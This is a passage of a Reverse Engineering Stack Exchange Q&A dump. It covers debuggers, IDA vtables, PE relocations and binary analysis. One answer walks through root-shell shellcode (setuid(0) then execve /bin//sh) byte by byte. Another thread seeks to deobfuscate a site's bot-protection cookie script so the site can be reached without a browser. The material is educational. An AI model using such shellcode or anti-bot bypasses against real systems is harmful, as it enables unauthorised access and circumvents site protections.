0x000e18d2      31db           xor ebx, ebx\n              0x000e18d4      48c744241800.  mov qword [rsp + 0x18], 0\n              0x000e18dd      4c8b25849530.  mov r12, qword [0x003eae68] ; [0x3eae68:8]=0\n              0x000e18e4      48890424       mov qword [rsp], rax\n              0x000e18e8      488d442450     lea rax, [rsp + 0x50]       ; \"@\" ; 'P'\n              0x000e18ed      4889442430     mov qword [rsp + 0x30], rax\n              0x000e18f2      488d442460     lea rax, [rsp + 0x60]       ; '`'\n              0x000e18f7      4889442420     mov qword [rsp + 0x20], rax\n              0x000e18fc      488d442458     lea rax, [rsp + 0x58]       ; \"@\" ; 'X'\n              ;-- hit0_1:\n              0x000e1d8a      64488b042500.  mov rax, qword fs:[0]\n              0x000e1d93      31db           xor ebx, ebx\n              0x000e1d95      48c744242800.  mov qword [rsp + 0x28], 0\n              0x000e1d9e      4c8b25c39030.  mov r12, qword [0x003eae68] ; [0x3eae68:8]=0\n              0x000e1da5      4889442410     mov qword [rsp + 0x10], rax\n              0x000e1daa      488d442460     lea rax, [rsp + 0x60]       ; '`'\n              0x000e1daf      4889442440     mov qword [rsp + 0x40], rax\n              0x000e1db4      488d442470     lea rax, [rsp + 0x70]       ; 'p'\n              0x000e1db9      4889442430     mov qword [rsp + 0x30], rax\n              0x000e1dbe      488d442468     lea rax, [rsp + 0x68]       ; 'h'\n              ;-- hit0_2:\n              0x00105cff      64488b042500.  mov rax, qword fs:[0]\n              0x00105d08      488b1d41512e.  mov rbx, qword [0x003eae50] ; [0x3eae50:8]=0\n              0x00105d0f      4c8b2d52512e.  mov r13, qword [0x003eae68] ; [0x3eae68:8]=0\n              0x00105d16      4c8d3c18       lea r15, [rax + rbx]\n              0x00105d1a      48898560feff.  mov qword [rbp - 0x1a0], rax\n              0x00105d21      4c89e7         mov rdi, r12\n              0x00105d24      e807060600     call sym._dl_mcount_wrapper_check\n              0x00105d29      488b8560feff.  mov rax, qword [rbp - 0x1a0]\n              0x00105d30      4883ec08       sub rsp, 8\n              0x00105d34      498b4e08       mov rcx, qword [r14 + 8]    ; sym.__resp ; [0x8:8]=0\n              ;-- hit0_3:\n              0x00105e50      64488b042500.  mov rax, qword fs:[0]\n              0x00105e59      4c8b2d08502e.  mov r13, qword [0x003eae68] ; [0x3eae68:8]=0\n              0x00105e60      4c8dbd98feff.  lea r15, [rbp - 0x168]\n              0x00105e67      488b1de24f2e.  mov rbx, qword [0x003eae50] ; [0x3eae50:8]=0\n              0x00105e6e      48c78598feff.  mov qword [rbp - 0x168], 0\n              0x00105e79      48898560feff.  mov qword [rbp - 0x1a0], rax\n              0x00105e80      4c01e8         add rax, r13                ; 'o'\n              0x00105e83      48898508feff.  mov qword [rbp - 0x1f8], rax\n              0x00105e8a      660f1f440000   nop word [rax + rax]\n              0x00105e90      4c89e7         mov rdi, r12\n              ;-- hit0_4:\n              0x00105f21      64488b042500.  mov rax, qword fs:[0]\n              0x00105f2a      4c8b2d374f2e.  mov r13, qword [0x003eae68] ; [0x3eae68:8]=0\n              0x00105f31      4c8dbd98feff.  lea r15, [rbp - 0x168]\n              0x00105f38      488b1d114f2e.  mov rbx, qword [0x003eae50] ; [0x3eae50:8]=0\n              0x00105f3f      48c78598feff.  mov qword [rbp - 0x168], 0\n              0x00105f4a      48898560feff.  mov qword [rbp - 0x1a0], rax\n              0x00105f51      4c01e8         add rax, r13                ; 'o'\n              0x00105f54      48898508feff.  mov qword [rbp - 0x1f8], rax\n              0x00105f5b      0f1f440000     nop dword [rax + rax]\n              0x00105f60      4c89e7         mov rdi, r12\n              ;-- hit0_5:\n              0x00106865      64488b042500.  mov rax, qword fs:[0]\n              0x0010686e      488db5c0feff.  lea rsi, [rbp - 0x140]\n              0x00106875      4c8b0dd4452e.  mov r9, qword [0x003eae50]  ; [0x3eae50:8]=0\n              0x0010687c      488b8d20feff.  mov rcx, qword [rbp - 0x1e0]\n              0x00106883      ba00010000     mov edx, 0x100\n              0x00106888      4885ff         test rdi, rdi\n              0x0010688b      490f44fd       cmove rdi, r13\n              0x0010688f      4901c1         add r9, rax                 ; '#'\n              0x00106892      480305cf452e.  add rax, qword [0x003eae68]\n              0x00106899      4989c0         mov r8, rax\n              ;-- hit0_6:\n              0x0014a18a      64488b042500.  mov rax, qword fs:[0]\n              0x0014a193      4c89fb         mov rbx, r15\n              0x0014a196      4889442440     mov qword [rsp + 0x40], rax\n              0x0014a19b      488d442460     lea rax, [rsp + 0x60]       ; '`'\n              0x0014a1a0      4889442408     mov qword [rsp + 8], rax\n              0x0014a1a5      488b4500       mov rax, qword [rbp]\n              0x0014a1a9      488b7c2458     mov rdi, qword [rsp + 0x58] ; [0x58:8]=64 ; 'X'\n              0x0014a1ae      4889442410     mov qword [rsp + 0x10], rax\n              0x0014a1b3      488b03         mov rax, qword [rbx]\n              0x0014a1b6      4889442418     mov qword [rsp + 0x18], rax\n  [0x00021cb0]&gt; \n</code></pre>\n"
    },
    {
        "Id": "19980",
        "CreationDate": "2018-11-27T06:44:07.387",
        "Body": "<p>I am looking to reverse engineer a very ugly piece of JS <a href=\"https://assets.supremenewyork.com/assets/pooky.min.e89860221b9126c88148.js\" rel=\"nofollow noreferrer\">found here</a>. </p>\n\n<p>As far as I can tell, this script generates and sets some cookies on my browser that identify it on the site. Deobfuscating it seems extremely difficult as it is encrypted by Jscrambler and it is so large that seemingly no site such as <a href=\"https://beautifier.io/\" rel=\"nofollow noreferrer\">https://beautifier.io/</a> can do anything with it.</p>\n\n<p>The goal is to be able to generate these cookies manually and post them to the site so that I do not need a browser to access the site.</p>\n\n<p>My questions are: </p>\n\n<p>1) Is there a way to debug this code in such a s way as to identify which lines generate and set the cookies? I have tried setting breakpoints on cookie set which did not seem to help.</p>\n\n<p>2) Can this be deobfuscated easily by a JS noobie such as myself and what tools should I be using?</p>\n\n<p>EDIT: If anyone can get involved I would be willing to compensate.</p>\n",
        "Title": "Analyzing and deobfuscating complex JS code",
        "Tags": "|debugging|obfuscation|javascript|",
        "Answer": "<p>It requires only a huge amount of time, but there is no JavaScript code that cannot be deobfuscated.</p>\n\n<p>For the first time here I see a piece of obfuscated js without any clear weakness.</p>\n\n<p>But start point after beauty is to find basic var assignment and then accurately replace occurrences of the var with its value</p>\n\n<p>Reiterate</p>\n\n<h2>Step 1</h2>\n\n<p>Replace every <code>;</code> with <code>;\\n</code>. To fo it, you must use an editor capable of regexp replacing, like VSCode or Sublime Text (and a lot of others)\nI got one and only one instruction per line</p>\n\n<h2>Step 2</h2>\n\n<p>Look at first assignment</p>\n\n<pre><code>T8jj.W4C=\"3421\";\n</code></pre>\n\n<p>I will replace every occurence of <code>T8jj.h6C</code> in the following code with the value <code>\"3063\"</code>. But before, using regex search, I will ensure that there is only ONE occurrency of assignment, otherwise I will do a more delicate replacement.</p>\n\n<p>In this case, only one assignment! Good, so use a regexp to replace</p>\n\n<pre><code>\\bT8jj\\.W4C\\b\n</code></pre>\n\n<p>with </p>\n\n<pre><code>\"3421\"\n</code></pre>\n\n<blockquote>\n  <p>Note !!!! we used word separator and entered the dot as escaped, because otherwiser you could mis-replace ASDAS<strong>T8jj</strong>E<strong>W4CS</strong>DFSDFD and this will create bugs !</p>\n</blockquote>\n\n<p>The first regexp avoid to change eventually future occurrency of new. Do not forget trailing <code>\"</code> because are syntattically important for js. <code>3421</code> is an integer, <code>\"3421\"</code> is a string.</p>\n\n<p>For example, at roww 22233 this replaces</p>\n\n<pre><code>I(g9L.r3y(+T8jj.W4C));\n</code></pre>\n\n<p>with</p>\n\n<pre><code>I(g9L.r3y(+\"3421\"));\n</code></pre>\n\n<p>So string or numeric is very different !</p>\n\n<blockquote>\n  <p>You now think \"I can remove the first line, because there is no more need for it; every referring point has now got the litteral value.\"\n  Wrong ! Some obfuscator use string concatenation and other techs to keep you in a trap, so never remove code ! </p>\n</blockquote>\n\n<p>Only 44042 rows remaining ! </p>\n\n<h2>Reiterate</h2>\n\n<pre><code>bx8jj.h8C \n</code></pre>\n\n<p>has more than one assignment, so must replace with \"3871\" only occurency <em>before</em> the next assignment, there same var receved assigned value of \"1964\"</p>\n\n<h2>Suggestions</h2>\n\n<ul>\n<li>Use trailing \\b and replace . with . when searching;</li>\n<li>If you got only one result or no result at all, do not delete assignment; some point in the obfuscated code could use string concatenation or use unicode chars and evals to read the variable value;</li>\n<li>Replace occurrencies of unicode-only strings with their litteral value; this will speed up code deobfuscation; for example <code>'\\x6e\\x65\\x73\\x74\\x65\\x64'</code> is <code>'nested'</code>; </li>\n</ul>\n"
    },
    {
        "Id": "19987",
        "CreationDate": "2018-11-27T22:23:49.687",
        "Body": "<p>I just saw <a href=\"https://medium.com/dailyjs/understanding-v8s-bytecode-317d46c94775\" rel=\"nofollow noreferrer\">this post</a>, and I was wondering if it's safe to get v8 bytecode in that fashion with <code>--print-bytecode</code>.</p>\n",
        "Title": "Is v8's --print-bytecode safe?",
        "Tags": "|javascript|byte-code|",
        "Answer": "<h1><code>--print-bytecode</code> is not safe.</h1>\n\n<pre><code>echo \"process.exit(42)\" &gt; test.js\nnode --print-bytecode ./test.js\n</code></pre>\n\n<p>It exists with status_code = 42. So that code is getting executed. It is not safe.</p>\n"
    },
    {
        "Id": "20004",
        "CreationDate": "2018-11-29T16:46:04.967",
        "Body": "<p><code>OllyDbg</code> had been nice in the past, but it stopped development a decade ago, <code>x32dbg/x64dbg</code> era came.<br />\nHowever, some people still use <code>OllyDbg</code>. Are there any reasons to use the old <code>OllyDbg</code> still? Doesn't <code>x32dbg/64dbg</code> covers all needed things?</p>\n",
        "Title": "OllyDbg vs x64dbg - Does OllyDbg have any particular advantage over x64dbg?",
        "Tags": "|ollydbg|debuggers|x64dbg|",
        "Answer": "<ul>\n<li>x32dbg cannot call an arbitrary export in a dll loaded for debugging or analysis, ollydbg2 can</li>\n<li>x32dbg still crashes when attached/detached to svchost.exe ollydbg2 can handle it without any problem</li>\n<li>x32dbg cannot automatically follow a child process, ollydbg2 can</li>\n</ul>\n"
    },
    {
        "Id": "20019",
        "CreationDate": "2018-12-01T02:14:44.783",
        "Body": "<p>I'm learning how to write shellcode by using Linux system call \"execve\" to spawn a shell with root access privilege.\nHere i found a shellcode online:</p>\n\n<p><a href=\"http://shell-storm.org/shellcode/files/shellcode-251.php\" rel=\"nofollow noreferrer\">http://shell-storm.org/shellcode/files/shellcode-251.php</a></p>\n\n<p>Arcoding to Assembly Linux Tutorials,the arguments for syscall are placed on registers. But why in this shellcode,the arguments are not only placed on the register,but also pushed on the stack ? Quite confusing here.</p>\n\n<p>Can someone give me a brief explaination about this problem ?Much appreciate!</p>\n",
        "Title": "Linux Assembly Syscall",
        "Tags": "|assembly|linux|shellcode|",
        "Answer": "<p>It only uses the stack to pass the correct values to registers. If you analyse this shell code closely you will identify that all the stack operations are in the end results in some value being put in a register that it is expected.</p>\n\n<p>Take a look at this part that calls setuid(0):</p>\n\n<pre><code>\"\\x6a\\x17\"          // push $0x17\n\"\\x58\"              // pop  %eax\n\"\\x31\\xdb\"          // xor  %ebx, %ebx\n\"\\xcd\\x80\"          // int  $0x80\n</code></pre>\n\n<p>The first operations puts <code>$0x17</code> into <code>eax</code> which is exactly the value that's is needed for <code>setuid</code>. Clearing <code>ebx</code> for the value being passed to <code>setuid</code>.</p>\n\n<p>In the same way we can check <code>execv</code>.</p>\n\n<pre><code>\"\\x31\\xd2\"              // xor  %edx, %edx\n\"\\x6a\\x0b\"              // push $0xb\n\"\\x58\"                  // pop  %eax\n\"\\x52\"                  // push %edx\n\"\\x68\\x2f\\x2f\\x73\\x68\"  // push $0x68732f2f\n\"\\x68\\x2f\\x62\\x69\\x6e\"  // push $0x6e69622f\n\"\\x89\\xe3\"              // mov  %esp, %ebx\n\"\\x52\"                  // push %edx\n\"\\x53\"                  // push %ebx\n\"\\x89\\xe1\"              // mov  %esp, %ecx\n\"\\xcd\\x80\";             // int  $0x80\n</code></pre>\n\n<p>Step by step:</p>\n\n<pre><code>\"\\x31\\xd2\"              // xor  %edx, %edx\n</code></pre>\n\n<p>clearing <code>edx</code> for later.</p>\n\n<pre><code>\"\\x6a\\x0b\"              // push $0xb\n\"\\x58\"                  // pop  %eax\n</code></pre>\n\n<p>puts <code>execv</code> code (<code>0xb</code>) into <code>eax</code>.</p>\n\n<pre><code>\"\\x52\"                  // push %edx        -&gt; NULL\n\"\\x68\\x2f\\x2f\\x73\\x68\"  // push $0x68732f2f -&gt; hs//\n\"\\x68\\x2f\\x62\\x69\\x6e\"  // push $0x6e69622f -&gt; nib/\n</code></pre>\n\n<p>since <code>edx</code> was cleared as the first instruction this puts <code>/bin//sh\\0</code> on the stack and the next instruction</p>\n\n<pre><code>\"\\x89\\xe3\"              // mov  %esp, %ebx\n</code></pre>\n\n<p>put the address of the top of the stack into <code>ebx</code> -> <code>execv</code> expects there the first argument.</p>\n\n<pre><code>\"\\x52\"                  // push %edx\n\"\\x53\"                  // push %ebx\n\"\\x89\\xe1\"              // mov  %esp, %ecx\n</code></pre>\n\n<p>this puts <code>NULL</code> + the address of the same string again on the stack and one more time assigning the address of the top of the stack to <code>ecx</code> where is expected to be \narguments. 'edx' was set to zero so it is like that being passed to <code>execv</code>. </p>\n\n<p>It looks like this is assuming that <code>esi</code> is/was cleared.</p>\n"
    },
    {
        "Id": "20021",
        "CreationDate": "2018-12-01T08:59:09.797",
        "Body": "<p>I am trying to reverse engineer something which appears to purposely create exceptions as part of its logic. In the image below, there are multiple DIV EAX commands that generate division by 0 exceptions because the value of EAX is set to 0. I told the debugger to send them back to the application. Since the application has some anti-reverse-engineering functionality, I am guessing that the command itself is for obfuscation while the real logic sits in the exception handler, which retries the command at the same address multiple times, and changes the values in other registers. However, the run trace in OllyDbg does not show the commands from this exception handler, and using 'Step Into' also does not work. How can I enable tracing and/or stepping through code in the exception handler?</p>\n\n<p><a href=\"https://i.stack.imgur.com/wBZVc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wBZVc.png\" alt=\"Run trace\"></a></p>\n",
        "Title": "What is happening with these exceptions in OllyDbg?",
        "Tags": "|ollydbg|anti-debugging|exception|",
        "Answer": "<p>You can see the list of SEH Chain in the View tab -> SEH Chain. Just set a breakpoint at the address of SEH.</p>\n\n<p><a href=\"https://i.stack.imgur.com/OCP9b.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OCP9b.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "20025",
        "CreationDate": "2018-12-01T15:04:51.690",
        "Body": "<p>I am looking to do some Data Flow Analysis via code. I have already the code that parses a binary and disassembles it (x86/x64) and creates Basic Blocks.</p>\n\n<p>Now what I would like to do is, for any Basic Block, analyze the effect of each instruction and compose all these effects to derive information\nat basic block boundaries.</p>\n\n<p>Also I would like to perform Variable Tracking and Live Variable Analysis. Last, CFG (Control Flow Graph) to see all these effects across basic blocks.</p>\n\n<p>Is there any available C/C+ Lib or subset of any Open Source Project that can help me achieve this?</p>\n\n<p>Thanks!</p>\n",
        "Title": "Basic Blocks and Data Flow Analysis",
        "Tags": "|binary-analysis|control-flow-graph|",
        "Answer": "<p>A nice framework to look at is <a href=\"https://triton.quarkslab.com/\" rel=\"nofollow noreferrer\">Triton</a> which does a good job in Dynamic Symbolic Execution. I ended up looking at the code and implementing my own solution with their same approach.</p>\n"
    },
    {
        "Id": "20055",
        "CreationDate": "2018-12-05T17:17:02.410",
        "Body": "<p>I need to locate an specific \"struct\" variable in the data section from an assembly. This structure is used for an specific System Function (Windows) \"SetCommState()\". I'm wondering how to locate the static data structure that are passed as argument to the function call. </p>\n\n<p>I'm ussing x64dbg for the disassembly and have the posibility to use snowman also. </p>\n\n<p>The specific \"struct\" is the one defined <a href=\"https://docs.microsoft.com/en-us/windows/desktop/devio/configuring-a-communications-resource\" rel=\"nofollow noreferrer\">here (DCB used for serial ports configuration)</a> </p>\n",
        "Title": "How to locate an specific data structure in an executable?",
        "Tags": "|x86|x64dbg|x86-64|",
        "Answer": "<p>For this case, here I compile the <a href=\"https://docs.microsoft.com/en-us/windows/desktop/devio/configuring-a-communications-resource\" rel=\"nofollow noreferrer\">MS Docs example</a> in 64 bit PE binary with <code>gcc -ggdb</code> command (or use <code>gcc -S</code> for the assembly file). Here is the assembly section of <code>SetCommState</code> function in Intel syntax:</p>\n\n<pre><code>mov     dword ptr [rbp-44], 57600       ; dcb.BaudRate = CBR_57600\nmov     byte ptr [rbp-30], 8            ; dcb.ByteSize = 8\nmov     byte ptr [rbp-29], 0            ; dcb.Parity = NOPARITY\nmov     byte ptr [rbp-28], 0            ; dcb.StopBits = ONESTOPBIT\nlea     rdx, [rbp-48]                   ; lpDCB\nmov     rax, [rbp-16]                   ; move the Handle returned by CreateFile\nmov     rcx, rax                        ; hFile\nmov     rax, cs:__imp_SetCommState\ncall    rax ; __imp_SetCommState        ; call the SetCommState function\nmov     [rbp-20], eax                   ; move return 32 bit integer value to stack\n</code></pre>\n<p>Here are the general steps you may follow to find any input variable of a function:</p>\n<ol>\n<li>Find the imported function in the assembly (here <code>SetCommState</code>)</li>\n<li>Find or guess the <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions\" rel=\"nofollow noreferrer\">calling convention</a> used in that function (here <code>__fastcall</code>)</li>\n<li>If any parameter is a structure type find the stack pointer and/or base pointer offsets before the function call (here <code>[rbp-48]</code>). It will be the first member of that structure type variable. Then follow the stack allocations one by one, you will get all the structure members which are changed/accessed (here <code>[rbp-48]</code>, <code>[rbp-44]</code>, <code>[rbp-30]</code> and so on).</li>\n</ol>\n<p>To find the imported function (step #1) in x64dbg:</p>\n<ul>\n<li>load the executable in x64dbg</li>\n<li>Right click on the disassembly window &gt; Search for &gt; All modules &gt; Intermodular calls.</li>\n</ul>\n<p><a href=\"https://i.stack.imgur.com/qygcn.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qygcn.png\" alt=\"intermodular_calls_in_x64dbg\" /></a></p>\n<p>Search the function name in search box below, here it will be <code>SetCommState</code>. x64dbg will show the specific address. Just double click on it and you can see the specific address. See this <a href=\"https://github.com/x64dbg/x64dbg/issues/336\" rel=\"nofollow noreferrer\">GitHub issue</a> for reference.</p>\n\n"
    },
    {
        "Id": "20056",
        "CreationDate": "2018-12-05T18:05:13.940",
        "Body": "<p>I'm decompiling a MFC 4.0 application, and now loaded the <code>MFCS42.PDB</code> from the MFC 4.2 source into IDA 7.0 (not having the MFC 4.0 source) to make it create the appropriate structs representing the many MFC classes and virtual function tables.</p>\n\n<p>However, IDA seems to only create <code>*Vtbl</code> structs for the very base classes, like <code>CObject</code>, not for child classes like <code>CCmdTarget</code>, which looks as follows:</p>\n\n\n\n<pre><code>struct CObjectVtbl // totally correct\n{\n    CRuntimeClass *(__thiscall *GetRuntimeClass)(CObject *this);\n    void (__thiscall *~CObject)(CObject *this);\n    void (__thiscall *Serialize)(CObject *this, CArchive *);\n    void (__thiscall *AssertValid)(CObject *this);\n    void (__thiscall *Dump)(CObject *this, CDumpContext *);\n};\nstruct __cppobj CObject // totally correct\n{\n    CObjectVtbl *vfptr;\n};\n\nstruct __cppobj CCmdTarget : CObject // wrong, makes it have only a CObject vftable\n{\n    int m_dwRef;\n    IUnknown *m_pOuterUnknown;\n    unsigned int m_xInnerUnknown;\n    CCmdTarget::XDispatch m_xDispatch;\n    int m_bResultExpected;\n    CCmdTarget::XConnPtContainer m_xConnPtContainer;\n    AFX_MODULE_STATE *m_pModuleState;\n};\n</code></pre>\n\n<p>In effect, this results in missing new virtual functions of <code>CCmdTarget</code>, as it only references the <code>CObjectVtbl</code> by inheriting from <code>CObject</code>, but <code>CCmdTarget</code> has 7 more methods.</p>\n\n<p>I previously hand-crafted these structures (which is tedious as you can guess), and it should actually look more like this:</p>\n\n<pre><code>// CObject and CObjectVtbl same as above\n\nstruct CCmdTargetVtbl : CObjectVtbl // inherit to keep base methods\n{\n    BOOL (__thiscall *OnCmdMsg)(CCmdTarget *this, UINT nID, int nCode, void *pExtra, void *pHandlerInfo);\n    void (__thiscall *OnFinalRelease)(CCmdTarget *this);\n    AFX_MSGMAP *(__thiscall *GetMessageMap)(CCmdTarget *this);\n    int field_20; // Don't know names yet\n    int field_24;\n    int field_28;\n    int field_2C;\n};\nstruct CCmdTargetMembers // member struct to reuse it in child classes\n{\n    int m_dwRef;\n    IUnknown *m_pOuterUnknown;\n    unsigned int m_xInnerUnknown;\n    CCmdTarget::XDispatch m_xDispatch;\n    int m_bResultExpected;\n    CCmdTarget::XConnPtContainer m_xConnPtContainer;\n    AFX_MODULE_STATE *m_pModuleState;\n};\nstruct CCmdTarget\n{\n    CCmdTargetVtbl *vfptr;\n    CCmdTargetMembers members;\n};\n</code></pre>\n\n<p>Only this way, accessing virtual functions on child classes makes sense as their vftables are known. A sample hexrays decompilation shows that it does not make much sense with only the base vftables available:</p>\n\n<p><strong>Decompilation with child vftables:</strong></p>\n\n<pre><code>int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)\n{\n    int nReturnCode; // esi MAPDST\n    CWinApp *pWinApp; // edi\n    CWinThreadVtbl *pThread; // ebx\n\n    nReturnCode = -1;\n    pWinApp = (CWinApp *)CBumperApp::instance;\n    if ( AfxWinInit(hInstance, hPrevInstance, lpCmdLine, nShowCmd) )\n    {\n        pThread = &amp;pWinApp-&gt;vftable-&gt;CWinThread;\n        if ( pWinApp-&gt;vftable-&gt;InitApplication(pWinApp) )\n        {\n            if ( pThread-&gt;InitInstance((CWinThread *)pWinApp) )\n            {\n                nReturnCode = pThread-&gt;Run((CWinThread *)pWinApp);\n            }\n[...]\n</code></pre>\n\n<p><strong>Decompilation without child vftables:</strong></p>\n\n<pre><code>int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)\n{\n    int nReturnCode; // esi MAPDST\n    CWinApp *pWinApp; // edi\n    CObjectVtbl *pThread; // ebx\n\n    nReturnCode = -1;\n    pWinApp = CBumperApp::instance;\n    if ( AfxWinInit(hInstance, hPrevInstance, lpCmdLine, nShowCmd) )\n    {\n        pThread = pWinApp-&gt;vfptr;\n        if ( pWinApp-&gt;vfptr[5].GetRuntimeClass(pWinApp) ) // nonsense\n        {\n            if ( (pThread[2].Serialize)(pWinApp) ) // nonsense\n            {\n                nReturnCode = (pThread[2].AssertValid)(pWinApp); // nonsense\n            }\n[...]\n</code></pre>\n\n<p>Is there any way to get IDA to load the vftables for child classes from the PDB and create all required structs? Or is this not yet possible in IDA 7.0?</p>\n\n<p>To my knowledge, the PDB should have that info. Is there a tool to look into the PDB file to see if it indeed has this info?</p>\n",
        "Title": "IDA does not create Vtbl structs for child classes loaded from PDB",
        "Tags": "|ida|virtual-functions|pdb|",
        "Answer": "<p>As far as I know, everything you've said is 100% correct. I've experienced the same issues. In fact, I was working on this exact problem in the background when a friend sent me a link to this post.</p>\n\n<p>There are actually three related issues here. First, prior to IDA 7.2, IDA's type system did not have a concept of a virtual function table per se. Meaning, although you can create a structure with a bunch of function pointers in it, IDA did not have a mechanism for changing the type of the VTable pointer in a derived object. \"Derivation\" meant simply that everything from the base class was included literally at offset 0. Fortunately, IDA 7.2 does understand the concept of VTables in inheritance. There is <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1691.shtml\" rel=\"noreferrer\">a bit of documentation</a> on Hex-Rays' website. The end of that page summarizes the rules:</p>\n\n<blockquote>\n  <ul>\n  <li>VFT pointer must have the \"__vftable\" name</li>\n  <li>VFT type must follow the \"CLASSNAME_vtbl\" pattern</li>\n  <li>For multiple inheritance use \"CLASSNAME_%04X_vtbl\" as the VFT type name\n  where %04X corresponds to the offset of the vft pointer in CLASSNAME\n  in the case if the offset is not zero</li>\n  </ul>\n</blockquote>\n\n<p>The second issue is that the PDB plugin currently does not take advantage of these recent changes to the type system. I.e., it does not generate VTable type/class VTable member names according to the rules above.</p>\n\n<p>The third issue is that the PDB file format is, frankly, a nightmare. You can view the contents of a PDB with the \"dia2dump\" sample that comes with Visual Studio (in the \"DIA SDK\" directory), however, be forewarned that the output is often wrong, misleading, or missing important information. The handling of virtual function information is especially terrible. I haven't completed my investigations, but one thing I've learned so far is that only base classes have <a href=\"https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/vtable?view=vs-2017\" rel=\"noreferrer\"><code>SymTagVTable</code> symbols</a>. I.e., for a class <code>B</code> that derives from another class <code>A</code> with a VTable, only <code>A</code> will have a <code>SymTagVTable</code> symbol, not <code>B</code>. This is even true if <code>B</code> defines additional virtual functions that were not defined in <code>A</code>. And currently, the PDB plugin only creates VTables if the class has a <code>SymTagVTable</code> symbol, hence the behavior that you are seeing. Instead, you have to iterate through the member functions of <code>B</code> and check whether they are virtual using the <a href=\"https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/idiasymbol-get-virtual?view=vs-2017\" rel=\"noreferrer\"><code>get_virtual</code> method</a> -- which, by the way, is something that dia2dump does not do. I'm still investigating how all of this works for multiple inheritance.</p>\n\n<p>In short, the solution to your problem -- and my problem -- lies in modifying the IDA 7.2 PDB plugin (which comes with the SDK) to:</p>\n\n<ol>\n<li>Recover VTable information for derived classes, including the multiple inheritance scenario</li>\n<li>Name the VTable structure types in a suitable way based on the class names (and displacement offset in the case of multiple inheritance)</li>\n<li>Use the new features in <code>typeinf.hpp</code> to mark the VTable pointer with attribute <code>TAFLD_VFTABLE</code>, and the VTable structure itself with attribute <code>TAUDT_VFTABLE</code>.</li>\n</ol>\n\n<p>Again, this is what I am also currently working on.</p>\n"
    },
    {
        "Id": "20057",
        "CreationDate": "2018-12-05T18:43:31.097",
        "Body": "<p>While debugging and reverse-engineering my exe, I have found a very weird thing.</p>\n\n<pre><code>call ds:GetModuleFileNameA\n</code></pre>\n\n<p>This call instruction is formed with below hex bytes in IDA.</p>\n\n<pre><code>FF 15 24 C0 41 00\n</code></pre>\n\n<p>(I think that 0x41C024 means the index of Import Table)</p>\n\n<p>But when I looked this call instruction while debugging it looks as follow.</p>\n\n<pre><code>FF 15 24 C0 1A 00\n</code></pre>\n\n<p>(Of course, image base is changed 190000 from 400000)</p>\n\n<p>But what I don't understand is how OS (I use win10) automatically changed all offsets in code area.</p>\n\n<p>Can anybody explain?</p>\n",
        "Title": "Call instruction changed while running",
        "Tags": "|assembly|x86|c++|",
        "Answer": "<p>It is Called Relocation<br>\nEvery Executable has a section called .reloc  </p>\n\n<p>this Section contains details about all addresses that needs to be patched if the imagebase changes </p>\n\n<p>the loader uses this section to change all the modified base address </p>\n\n<p>for example win7 x86 32 bit calc.exe </p>\n\n<p>disassembly from cdb.exe (randomised image base )</p>\n\n<pre><code>002616a3 ff15f4132600    call    dword ptr [calc!_imp__LoadStringW (002613f4)]\n</code></pre>\n\n<p>disassembly from dumpbin (default imagebase)</p>\n\n<pre><code>C:\\&gt;dumpbin  /nologo c:\\Windows\\System32\\calc.exe /disasm /range:0x10016A2,0x10016b1\n\n  010016A2: 50                 push        eax\n  010016A3: FF 15 F4 13 00 01  call        dword ptr [__imp__LoadStringW@16]\n</code></pre>\n\n<p>if you look at the .reloca section you will notice a HIGHLOW entry for address \n<strong>6A5</strong></p>\n\n<pre><code>Offset(h) 00 01\n\n000B9C00  00 10  ..\n000B9C02  00 00  ..\n000B9C04  B4 00  \u00b4.\n000B9C06  00 00  ..\n000B9C08  41 36  A6\n000B9C0A  52 36  R6\n000B9C0C  A5 36  \u00a56 &lt;&lt;&lt;&lt;&lt;\n000B9C0E  B3 36  \u00b36\n</code></pre>\n\n<p>so the loader can patch the address at RVA ( ImageBase + base of Section + address ) </p>\n\n<pre><code>imagebase = 0x1000000 + base of section = 0x1000 + HIGHLOW address = 6a5 \n= 0x10016a5\n</code></pre>\n\n<p>at this address dumpbin has <strong>F4 13 00 01</strong>  whereas cdb has <strong>f4 13 26 00</strong>  </p>\n\n<p>the loader has patched it according to the image base </p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/11233/dumpbin-correlating-thunk-jumps-in-reloc-to-disassembly/11235#11235\">this post of mine has more details about what is patched</a> </p>\n\n<p>update wrt comment some exes dont have .reloc </p>\n\n<p>yes it is entirely possible to have exes without reloc<br>\ninfact there is a msvc linker switch /FIXED if passed produces exes without relocations   </p>\n\n<p>in most of the cases exes can survive without relocations because they are the first to be loaded in Process Address Space<br>\nso they tend to get their Preferred ImageBase always </p>\n\n<p>Relocations matter most with Dlls especially those dlls that woud be Dynamically Loaded or loaded as a dependency to another dll </p>\n\n<p>in this case clashes can happen and os needs a mechanism to relocate  the binary in question </p>\n\n<p>if windows cant relocate the dll it crashes the application with </p>\n\n<pre><code>C:\\&gt;cdb -c \"!error c0000018;q\" cdb | tail -n 3\n0:000&gt; cdb: Reading initial command '!error c0000018;q'\nError code: (NTSTATUS) 0xc0000018 (3221225496) - {Conflicting Address Range}  The specified address range conflicts with\n the address space.\nquit:\n</code></pre>\n"
    },
    {
        "Id": "20061",
        "CreationDate": "2018-12-06T01:39:14.970",
